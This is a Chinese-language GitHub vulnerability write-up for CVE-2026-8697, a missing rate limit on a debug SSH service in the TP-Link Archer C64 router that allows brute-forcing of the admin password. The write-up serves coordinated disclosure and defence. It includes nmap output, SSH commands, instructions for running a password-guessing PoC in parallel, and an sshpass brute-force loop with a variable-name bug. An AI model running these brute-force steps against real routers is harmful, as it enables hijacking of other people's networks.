itzmetanjim/cve-2026-8697
GitHub: itzmetanjim/cve-2026-8697
该仓库记录了 TP-Link Archer C64 路由器调试 SSH 服务缺乏速率限制导致登录暴力破解的漏洞分析与 PoC。
Stars: 1 | Forks: 0
# CVE-2026-8697:TP-Link Archer C64 登录速率限制绕过
*CVE-2026-8697 是 TP-Link Archer C64 的 OS(在调试信息中称为 TPOS)中的一个逻辑缺陷。它允许任何连接到路由器的非特权用户利用残留的 SSH 服务绕过 Web UI 的速率限制。一个简单的 Python 脚本可以在短时间内尝试大量密码,并获取路由器的完整管理员访问权限。*
POC:[poc.py](poc.py)
该路由器有一个调试 SSH 服务,它不会授予路由器的 shell 访问权限,而是在输入正确的密码后直接退出。但它与管理界面使用相同的密码,并且既没有速率限制也没有锁定策略。因此,它可以被用作高速身份验证预言机来暴力破解密码。网络上的恶意或受损 IoT 设备可以利用此漏洞获取路由器的完全管理员访问权限。攻击者无法通过此接口获得 shell 访问权限,但他们可以轻松验证凭据,从而攻破主要的 Web 管理界面。
此漏洞已在固件版本 1.15.0 中得到修复,该版本直接移除了该服务。要测试您的路由器,请使用以下命令(Linux/macOS):
```
timeout 10 nc -vz 192.168.0.1 22
echo $?
```
将 IP 地址替换为您用来连接路由器 Web 界面的地址。如果输出为 `0` 或显示 `succeeded!`,则您的路由器存在此漏洞。否则,不存在此漏洞。
在 Windows 中,请在 PowerShell 中运行以下命令:
```
tnc 192.168.0.1 -Port 22
```
如果显示 `TcpTestSucceeded : True`,则您的路由器易受攻击。否则,如果它无限期挂起或显示为 False,则表示不易受攻击。
该漏洞完全基于逻辑,不需要内存破坏、ASLR 绕过或赢得竞争条件。
# 发现与复现
当时,我正在学习 Nmap,出于兴趣决定扫描我的路由器。那时我并不是在寻找漏洞,但我注意到了一个开放的 SSH 服务。
```
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
```
上面的日志显示运行的是 OpenSSH 6.6.0(2014 年的旧版本,但此处的版本并不重要)的 SSH 服务。看到非常旧的版本后,我怀疑它可能会被攻击者利用,并尝试通过 SSH 登录,初衷是获取 shell 并更新固件。那时我是为了保护我的路由器,而不是寻找漏洞。然而,连接到它出现了一个有趣的问题:我的 OpenSSH 版本不支持其主机密钥和公钥算法。使用 `-o` 在我的系统上也不起作用,因此我不得不使用一个 `debian:bullseye-slim` 容器,该容器包含支持 `diffie-hellman-group14-sha1` 和 `ssh-dss` 算法的 OpenSSH 客户端。
在容器内安装 OpenSSH 客户端后,我成功连接到了 SSH 服务器。
```
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss root@192.168.0.1
```
我使用了这个方法,终于能够连接到 SSH 服务器了。它用 `TPOS 5 IPSSH Test` 的消息和密码提示向我问候。然而,在输入密码后,连接立即关闭了。我甚至尝试直接运行命令,但它并没有运行该命令。我意识到这里没有 shell,因此攻击者无法访问我的路由器。所以我的路由器是安全的,对吧?其实不然。我意识到,即使您没有获得任何访问权限,您_确实_可以知道您的密码是否正确。而且该密码与 Web 界面密码相同,并且绝对没有速率限制或任何阻止暴力破解攻击的措施。就在那时,我想到了将其变成一个 CVE。我尝试自动化攻击。首先,我尝试在 bash 循环中使用 `sshpass`,但不能在每次连接中使用多个密码,所以我尝试编写一个 Python 脚本。这就是附加的 POC。
要使用 POC,首先创建一个 venv 并安装 `pexpect`。请注意,该脚本不使用 Pexpect 的 `pxssh` 模块,因为它不支持在单个连接中尝试多个密码。
```
python3 -m venv venv
source venv/bin/activate
pip install pexpect
```
将脚本保存为 `poc.py` 并运行它。您可以选择将换行符分隔的密码列表的路径作为第一个参数传入。如果不传入,它将使用 1 到 100 的数字作为密码(用于速度测试)。
```
python3 poc.py list.txt
```
您可以通过运行具有不同列表的多个实例来并行化攻击。如果您运行超过 3 个实例,就会开始看到连接错误。该脚本仍会确保尝试所有的密码。
```
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
```
# 潜在影响
攻击者可以利用网络上的恶意或受损 IoT 设备暴力破解密码,并获取管理界面的管理员访问权限。用户无法察觉正在发生这种情况,攻击者可以长时间执行此操作而不被发现。一旦攻击者访问了管理界面,他们就可以更改 DNS 设置以执行 DNS 劫持,更改 Wi-Fi 密码以锁定用户,使用静态路由拦截未加密流量,或通过路由到不存在的 IP 来阻止网络访问,进行端口转发,关闭防火墙/ALG 等等。
# CVSS 4.0
此漏洞的 CVSS 4.0 攻击向量为:
```
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
```
,其解析得分为 [9.3 Critical](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H)。
我对每个指标的理由如下:
- Attack Vector (AV):**Adjacent (A)** 攻击者必须连接到 Wi-Fi 网络才能利用此漏洞。
- Attack Complexity (AC):**Low (L)** 攻击非常直接,不需要任何特殊条件。攻击的基本实现可能如下所示:
```
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 root@192.168.0.1
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
```
(请注意,这比 POC 脚本慢,因为它在每次连接中不会尝试多个密码)
- Attack Requirements (AT):**None (N)** 这是一个纯粹的基于逻辑的 bug,不需要任何诸如赢得竞争条件之类的条件。
- Privileges Required (PR):**None (N)** 不需要特殊权限。请注意,连接到 Wi-Fi 网络的要求已经在 `AV:A` 中体现。
- User Interaction (UI):**None (N)** 可以在没有任何用户交互的情况下执行攻击。
- Confidentiality, Integrity and Availability of Vulnerable System (VC,VI,VA):**High (H)** 攻击者获得了路由器的完全管理员访问权限,这构成了对路由器机密性和完整性的彻底破坏。攻击者可以轻松地通过多种方式使路由器无法使用,并需要物理接触来修复(例如,使用访问控制功能仅允许不存在的 MAC 地址访问管理界面,并关闭 Wi-Fi 和更改 Internet 设置以破坏互联网访问)。
- Confidentiality and Integrity of Subsequent System (SC,SI):**Low (L)** 攻击者可以使用各种方法(例如更改 DNS、使用静态路由)拦截流量,因此它不是 None。但是,考虑到大多数流量都是加密的,对后续系统的影响是有限的。(尽管我不确定这应该是 High 还是 Low)
- Availability of Subsequent System (SA):**High (H)** 攻击者可以轻松破坏所有连接到路由器的设备的互联网访问。
### CVSS 4.0 分析与差异
供应商(TP-Link)发布了此漏洞,得分为 **8.7 (High)**,向量为:
`CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
然而,本研究认为 **Subsequent System Impact** 不应被评定为“None”。因为路由器充当所有连接设备的主要网关:
1. **Subsequent Availability (SA:H):** 管理员访问权限允许攻击者永久阻止所有连接设备的互联网访问。
2. **Subsequent Integrity/Confidentiality (SI:L/SC:L):** DNS 劫持和路由操纵允许进行主动的流量重定向和元数据收集。
因此,如上所述,**9.3/Critical** 是对家庭网络风险的更准确描述。
# 缓解措施
将路由器固件更新至 `1.15.0 Build 250729` 或更高版本即可修复此问题。
# 协调披露时间表
| 日期 | 事件 |
|------------|-------|
| 2026-02-26 | 向 TP-Link 产品安全团队报告了漏洞 |
| 2026-03-03 | 收到初步确认 |
| 2026-03-14 | TP-Link 确认他们正处于验证和修复阶段 |
| 2026-04-22 | TP-Link 表示该漏洞已在固件版本 1.15.0 中得到修复,但该固件尚未公开提供 |
| 2026-04-24 | 固件已公开发布 |
| 2026-04-26 | 确认补丁并请求 CVE ID |
| 2026-05-15 | 向 TP-Link 发送 90 天截止日期提醒 |
| 2026-05-15 | CVE ID 已保留 |
| 2026-05-29 | 公开披露 |
| 2026-05-29 | 发布报告(本文档) |
# 参考
- [安全公告](https://www.tp-link.com/us/support/faq/5105/)
- [CVE 记录](https://www.cve.org/cverecord?id=CVE-2026-8697)
此漏洞由 Tanjim Kamal 发现并报告。
- 网站:[tanjim.org](https://tanjim.org)
- GitHub:[itzmetanjim](https://github.com/itzmetanjim)
- 邮箱:[contact@tanjim.org](mailto:contact@tanjim.org)
标签:CTI, 逆向工具